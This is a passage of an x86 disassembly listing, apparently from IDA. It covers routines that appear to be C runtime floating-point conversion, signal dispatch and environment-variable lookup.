		jmp	short loc_425360
; ---------------------------------------------------------------------------


loc_425390:				; CODE XREF: sub_42501D+99j
					; sub_42501D+E4j ...
		dec	edi
		jmp	short loc_425395
; ---------------------------------------------------------------------------


loc_425393:				; CODE XREF: sub_42501D+261j
					; sub_42501D+2BCj
		mov	edi, ecx


loc_425395:				; CODE XREF: sub_42501D+2DDj
					; sub_42501D+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_42547D
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_4253C1
		cmp	[ebp+var_45], 5
		jl	short loc_4253B5
		inc	[ebp+var_45]


loc_4253B5:				; CODE XREF: sub_42501D+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_4253C4
; ---------------------------------------------------------------------------


loc_4253C1:				; CODE XREF: sub_42501D+38Dj
		mov	eax, [ebp+var_C]


loc_4253C4:				; CODE XREF: sub_42501D+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425473


loc_4253CE:				; CODE XREF: sub_42501D+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4253DC
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4253CE
; ---------------------------------------------------------------------------


loc_4253DC:				; CODE XREF: sub_42501D+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_424F56
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4253FB
		neg	eax


loc_4253FB:				; CODE XREF: sub_42501D+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_425406
		add	eax, [ebp+arg_10]


loc_425406:				; CODE XREF: sub_42501D+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_42540E
		sub	eax, [ebp+arg_14]


loc_42540E:				; CODE XREF: sub_42501D+3ECj
		cmp	eax, 1450h
		jle	short loc_425445
		mov	[ebp+var_2C], 1


loc_42541C:				; CODE XREF: sub_42501D+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_425428:				; CODE XREF: sub_42501D+454j
					; sub_42501D+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_42548E
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_4254A3
; ---------------------------------------------------------------------------


loc_425445:				; CODE XREF: sub_42501D+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425455
		mov	[ebp+var_30], 1
		jmp	short loc_42541C
; ---------------------------------------------------------------------------


loc_425455:				; CODE XREF: sub_42501D+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425C06
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_425428
; ---------------------------------------------------------------------------


loc_425473:				; CODE XREF: sub_42501D+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_425428
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_42501D+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_4254A3
; ---------------------------------------------------------------------------


loc_42548E:				; CODE XREF: sub_42501D+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_4254A3
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_4254A3:				; CODE XREF: sub_42501D+426j
					; sub_42501D+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_42501D	endp

; ---------------------------------------------------------------------------
off_4254BE	dd offset loc_425087	; DATA XREF: sub_42501D+63r
		dd offset loc_4250D6	; jump table for switch	statement
		dd offset loc_42512D
		dd offset loc_425157
		dd offset loc_4251B2
		dd offset loc_425229
		dd offset loc_42525F
		dd offset loc_4252A9
		dd offset loc_425288
		dd offset loc_42530D
		dd offset loc_4252F7
		dd offset loc_4252C3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254EE	proc near		; CODE XREF: sub_424449+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425550
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425554
; ---------------------------------------------------------------------------


loc_425550:				; CODE XREF: sub_4254EE+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425554:				; CODE XREF: sub_4254EE+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42557A
		test	edi, edi
		jnz	short loc_42557A
		cmp	[ebp+arg_0], edi
		jnz	short loc_42557A


loc_425565:				; CODE XREF: sub_4254EE+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425778
; ---------------------------------------------------------------------------


loc_42557A:				; CODE XREF: sub_4254EE+6Cj
					; sub_4254EE+70j ...
		cmp	dx, si
		jnz	short loc_4255F9
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425593
		cmp	[ebp+arg_0], 0
		jz	short loc_4255A2


loc_425593:				; CODE XREF: sub_4254EE+9Dj
		test	edi, 40000000h
		jnz	short loc_4255A2
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4255E8
; ---------------------------------------------------------------------------


loc_4255A2:				; CODE XREF: sub_4254EE+A3j
					; sub_4254EE+ABj
		test	cx, cx
		jz	short loc_4255BC
		cmp	edi, 0C0000000h
		jnz	short loc_4255BC
		cmp	[ebp+arg_0], 0
		jnz	short loc_4255E3
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4255CB
; ---------------------------------------------------------------------------


loc_4255BC:				; CODE XREF: sub_4254EE+B7j
					; sub_4254EE+BFj
		cmp	edi, eax
		jnz	short loc_4255E3
		cmp	[ebp+arg_0], 0
		jnz	short loc_4255E3
		push	offset a1Inf	; "1#INF"


loc_4255CB:				; CODE XREF: sub_4254EE+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C550
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4255DA:				; CODE XREF: sub_4254EE+109j
		and	[ebp+var_4], 0
		jmp	loc_425751
; ---------------------------------------------------------------------------


loc_4255E3:				; CODE XREF: sub_4254EE+C5j
					; sub_4254EE+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4255E8:				; CODE XREF: sub_4254EE+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C550
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4255DA
; ---------------------------------------------------------------------------


loc_4255F9:				; CODE XREF: sub_4254EE+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425C06
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42565A
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4259E6
		pop	ecx
		pop	ecx


loc_42565A:				; CODE XREF: sub_4254EE+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425674
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425677
		jmp	loc_425565
; ---------------------------------------------------------------------------


loc_425674:				; CODE XREF: sub_4254EE+173j
		mov	edi, [ebp+arg_C]


loc_425677:				; CODE XREF: sub_4254EE+17Fj
		cmp	edi, 15h
		jle	short loc_42567F
		push	15h
		pop	edi


loc_42567F:				; CODE XREF: sub_4254EE+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425695:				; CODE XREF: sub_4254EE+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424EFB
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425695
		test	esi, esi
		jge	short loc_4256BF
		neg	esi
		and	esi, 0FFh
		jle	short loc_4256BF


loc_4256B2:				; CODE XREF: sub_4254EE+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424F29
		dec	esi
		pop	ecx
		jnz	short loc_4256B2


loc_4256BF:				; CODE XREF: sub_4254EE+1B8j
					; sub_4254EE+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_42571C
		mov	[ebp+arg_C], ecx


loc_4256CF:				; CODE XREF: sub_4254EE+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_424EFB
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424EFB
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424E9D
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424EFB
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4256CF
		mov	eax, [ebp+arg_14]


loc_42571C:				; CODE XREF: sub_4254EE+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425759


loc_425729:				; CODE XREF: sub_4254EE+248j
		cmp	eax, ecx
		jb	short loc_42573C
		cmp	byte ptr [eax],	39h
		jnz	short loc_425738
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425729
; ---------------------------------------------------------------------------


loc_425738:				; CODE XREF: sub_4254EE+242j
		cmp	eax, ecx
		jnb	short loc_425740


loc_42573C:				; CODE XREF: sub_4254EE+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425740:				; CODE XREF: sub_4254EE+24Cj
		inc	byte ptr [eax]


loc_425742:				; CODE XREF: sub_4254EE+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425751:				; CODE XREF: sub_4254EE+F0j
		mov	eax, [ebp+var_4]


loc_425754:				; CODE XREF: sub_4254EE+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425759:				; CODE XREF: sub_4254EE+239j
					; sub_4254EE+275j
		cmp	eax, ecx
		jb	short loc_425769
		cmp	byte ptr [eax],	30h
		jnz	short loc_425765
		dec	eax
		jmp	short loc_425759
; ---------------------------------------------------------------------------


loc_425765:				; CODE XREF: sub_4254EE+272j
		cmp	eax, ecx
		jnb	short loc_425742


loc_425769:				; CODE XREF: sub_4254EE+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425778:				; CODE XREF: sub_4254EE+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425754
sub_4254EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425781	proc near		; CODE XREF: sub_4223CC+225Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4257E8
		dec	eax
		dec	eax
		jz	short loc_4257D9
		sub	eax, 4
		jz	short loc_4257D9
		sub	eax, 3
		jz	short loc_4257D9
		sub	eax, 4
		jz	short loc_4257CC
		sub	eax, 6
		jz	short loc_4257BF
		dec	eax
		jz	short loc_4257B2
		or	eax, 0FFFFFFFFh
		jmp	loc_4258AA
; ---------------------------------------------------------------------------


loc_4257B2:				; CODE XREF: sub_425781+27j
		mov	esi, ds:dword_4E17F4
		mov	eax, offset dword_4E17F4
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257BF:				; CODE XREF: sub_425781+24j
		mov	esi, ds:dword_4E17F0
		mov	eax, offset dword_4E17F0
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257CC:				; CODE XREF: sub_425781+1Fj
		mov	esi, ds:dword_4E17F8
		mov	eax, offset dword_4E17F8
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257D9:				; CODE XREF: sub_425781+10j
					; sub_425781+15j ...
		push	edi
		call	sub_4258AE
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4257F3
; ---------------------------------------------------------------------------


loc_4257E8:				; CODE XREF: sub_425781+Cj
		mov	esi, ds:dword_4E17EC
		mov	eax, offset dword_4E17EC


loc_4257F3:				; CODE XREF: sub_425781+3Cj
					; sub_425781+49j ...
		cmp	esi, 1
		jnz	short loc_4257FF
		xor	eax, eax
		jmp	loc_4258AA
; ---------------------------------------------------------------------------


loc_4257FF:				; CODE XREF: sub_425781+75j
		test	esi, esi
		jnz	short loc_42580A
		push	3
		call	sub_41BE72


loc_42580A:				; CODE XREF: sub_425781+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_42581C
		cmp	edi, 0Bh
		jz	short loc_42581C
		cmp	edi, 4
		jnz	short loc_425842


loc_42581C:				; CODE XREF: sub_425781+8Fj
					; sub_425781+94j
		mov	ebx, ds:dword_4E15D0
		and	ds:dword_4E15D0, 0
		cmp	edi, ecx
		jnz	short loc_425871
		mov	edx, ds:dword_442E3C
		mov	ds:dword_442E3C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425845
; ---------------------------------------------------------------------------


loc_425842:				; CODE XREF: sub_425781+99j
		mov	ebx, [ebp+arg_0]


loc_425845:				; CODE XREF: sub_425781+BFj
		cmp	edi, ecx
		jnz	short loc_425871
		mov	eax, ds:dword_442E30
		mov	ecx, ds:dword_442E34
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425878
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:442DC0h[edx*4]


loc_425866:				; CODE XREF: sub_425781+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425866
		jmp	short loc_425878
; ---------------------------------------------------------------------------


loc_425871:				; CODE XREF: sub_425781+AAj
					; sub_425781+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425886


loc_425878:				; CODE XREF: sub_425781+D7j
					; sub_425781+EEj
		push	ds:dword_442E3C
		push	8
		call	esi ; dword_4E17F4
		pop	ecx
		pop	ecx
		jmp	short loc_425894
; ---------------------------------------------------------------------------


loc_425886:				; CODE XREF: sub_425781+F5j
		push	edi
		call	esi ; dword_4E17F4
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425894
		cmp	edi, 4
		jnz	short loc_4258A7


loc_425894:				; CODE XREF: sub_425781+103j
					; sub_425781+10Cj
		cmp	edi, 8
		mov	ds:dword_4E15D0, ebx
		jnz	short loc_4258A7
		mov	eax, [ebp+arg_0]
		mov	ds:dword_442E3C, eax


loc_4258A7:				; CODE XREF: sub_425781+111j
					; sub_425781+11Cj
		xor	eax, eax
		pop	ebx


loc_4258AA:				; CODE XREF: sub_425781+2Cj
					; sub_425781+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425781	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4258AE	proc near		; CODE XREF: sub_425781+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_442E38
		cmp	ds:dword_442DBC, edx
		push	esi
		mov	eax, offset dword_442DB8
		jz	short loc_4258DC
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442DB8h[esi*4]


loc_4258D0:				; CODE XREF: sub_4258AE+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4258DC
		cmp	[eax+4], edx
		jnz	short loc_4258D0


loc_4258DC:				; CODE XREF: sub_4258AE+16j
					; sub_4258AE+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442DB8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4258F0
		cmp	[eax+4], edx
		jz	short locret_4258F2


loc_4258F0:				; CODE XREF: sub_4258AE+3Bj
		xor	eax, eax

locret_4258F2:				; CODE XREF: sub_4258AE+40j
		retn
sub_4258AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258F3	proc near		; CODE XREF: sub_42464C+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_4E2B88, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_4E1520
		push	edi
		jz	short loc_42596A
		test	esi, esi
		jnz	short loc_425924
		cmp	ds:dword_4E1528, esi
		jz	short loc_42596A
		call	sub_425CC1
		test	eax, eax
		jnz	short loc_42596A
		mov	esi, ds:dword_4E1520
		test	esi, esi
		jz	short loc_42596A


loc_425924:				; CODE XREF: sub_4258F3+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_42596A
		push	ebx
		call	sub_41B890
		pop	ecx
		mov	edi, eax


loc_425935:				; CODE XREF: sub_4258F3+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42596A
		push	eax
		call	sub_41B890
		cmp	eax, edi
		pop	ecx
		jbe	short loc_42595D
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_42595D
		push	edi
		push	ebx
		push	eax
		call	sub_425C82
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425962


loc_42595D:				; CODE XREF: sub_4258F3+51j
					; sub_4258F3+59j
		add	esi, 4
		jmp	short loc_425935
; ---------------------------------------------------------------------------


loc_425962:				; CODE XREF: sub_4258F3+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_42596C
; ---------------------------------------------------------------------------


loc_42596A:				; CODE XREF: sub_4258F3+10j
					; sub_4258F3+1Cj ...
		xor	eax, eax


loc_42596C:				; CODE XREF: sub_4258F3+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4258F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_425970	proc near		; CODE XREF: seg000:00424DC1p
					; seg000:00424E0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_4E1920
		jnb	short loc_4259D7
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4E1820[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_4259D7
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_4259B0
		and	cl, 7Fh
		jmp	short loc_4259BD
; ---------------------------------------------------------------------------


loc_4259B0:				; CODE XREF: sub_425970+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_4259CB
		or	cl, 80h


loc_4259BD:				; CODE XREF: sub_425970+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4259CB:				; CODE XREF: sub_425970+48j
		mov	ds:dword_4E14F8, 16h
		jmp	short loc_4259E1
; ---------------------------------------------------------------------------


loc_4259D7:				; CODE XREF: sub_425970+Bj
					; sub_425970+27j
		mov	ds:dword_4E14F8, 9


loc_4259E1:				; CODE XREF: sub_425970+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4259E6	proc near		; CODE XREF: sub_4254EE+165p
					; sub_425C06+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425BE6
		cmp	cx, 7FFFh
		jnb	loc_425BE6
		cmp	dx, 0BFFDh
		ja	loc_425BE6
		cmp	dx, 3FBFh
		ja	short loc_425A4F
		xor	eax, eax
		jmp	short loc_425A89
; ---------------------------------------------------------------------------


loc_425A4F:				; CODE XREF: sub_4259E6+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425A71
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425A71
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425A73
		cmp	[esi], eax
		jnz	short loc_425A73
		jmp	loc_425BE0
; ---------------------------------------------------------------------------


loc_425A71:				; CODE XREF: sub_4259E6+71j
					; sub_4259E6+79j
		xor	eax, eax


loc_425A73:				; CODE XREF: sub_4259E6+80j
					; sub_4259E6+84j
		cmp	cx, ax
		jnz	short loc_425A96
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425A96
		cmp	[ebx+4], eax
		jnz	short loc_425A96
		cmp	[ebx], eax
		jnz	short loc_425A96


loc_425A89:				; CODE XREF: sub_4259E6+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425C01
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4259E6+90j
					; sub_4259E6+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425AA6:				; CODE XREF: sub_4259E6+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425AFA
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425AC2:				; CODE XREF: sub_4259E6+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425AED
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425AED:				; CODE XREF: sub_4259E6+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425AC2


loc_425AFA:				; CODE XREF: sub_4259E6+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425AA6
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425B3D


loc_425B18:				; CODE XREF: sub_4259E6+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425B36
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424EFB
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425B18


loc_425B36:				; CODE XREF: sub_4259E6+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425B76


loc_425B3D:				; CODE XREF: sub_4259E6+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425B76
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425B56:				; CODE XREF: sub_4259E6+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425B5F
		inc	[ebp+var_14]


loc_425B5F:				; CODE XREF: sub_4259E6+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424F29
		dec	ebx
		pop	ecx
		jnz	short loc_425B56
		cmp	[ebp+var_14], 0
		jz	short loc_425B76
		or	byte ptr [ebp+var_24], 1


loc_425B76:				; CODE XREF: sub_4259E6+155j
					; sub_4259E6+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425B8D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425BC2


loc_425B8D:				; CODE XREF: sub_4259E6+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425BBF
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425BBA
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425BB4
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425BC2
; ---------------------------------------------------------------------------


loc_425BB4:				; CODE XREF: sub_4259E6+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425BC2
; ---------------------------------------------------------------------------


loc_425BBA:				; CODE XREF: sub_4259E6+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425BC2
; ---------------------------------------------------------------------------


loc_425BBF:				; CODE XREF: sub_4259E6+1ABj
		inc	[ebp+var_24+2]


loc_425BC2:				; CODE XREF: sub_4259E6+1A5j
					; sub_4259E6+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425BE6
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425BE0:				; CODE XREF: sub_4259E6+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425C01
; ---------------------------------------------------------------------------


loc_425BE6:				; CODE XREF: sub_4259E6+42j
					; sub_4259E6+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425C01:				; CODE XREF: sub_4259E6+ABj
					; sub_4259E6+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4259E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_42501D+440p
					; sub_4254EE+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
